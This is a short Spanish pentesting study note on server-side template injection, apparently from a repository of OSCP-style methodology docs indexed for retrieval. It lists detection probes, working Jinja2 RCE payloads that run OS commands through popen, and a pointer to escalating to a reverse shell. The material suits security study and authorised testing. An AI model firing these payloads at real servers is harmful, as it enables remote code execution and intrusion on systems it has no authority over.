7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
26 lines
859 B
Markdown
26 lines
859 B
Markdown
# SSTI (Server-Side Template Injection)
|
|
|
|
> Tu input entra en una plantilla del servidor (Jinja2, Twig, Freemarker...) y se **evalúa** → RCE. Vector de Hacking web.
|
|
|
|
## Detección
|
|
```
|
|
{{7*7}} → si responde 49 → vulnerable (Jinja2/Twig)
|
|
${7*7} → Freemarker / otros
|
|
<%= 7*7 %> → ERB (Ruby)
|
|
#{7*7} → Ruby/otros
|
|
```
|
|
Si `{{7*7}}` devuelve `49` (no el literal), hay SSTI.
|
|
|
|
## Identificar el motor
|
|
Usa el árbol de polyglots de PayloadsAllTheThings (Recursos públicos) o **tplmap** para automatizar.
|
|
|
|
## Jinja2 (Python) → RCE
|
|
```python
|
|
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
|
|
{{ cycler.__init__.__globals__.os.popen('id').read() }}
|
|
```
|
|
|
|
## De RCE a shell
|
|
Inyecta el comando de Reverse shell dentro del payload → listener en Kali.
|
|
|
|
Relacionado: Command injection · XSS · OSCP MOC
|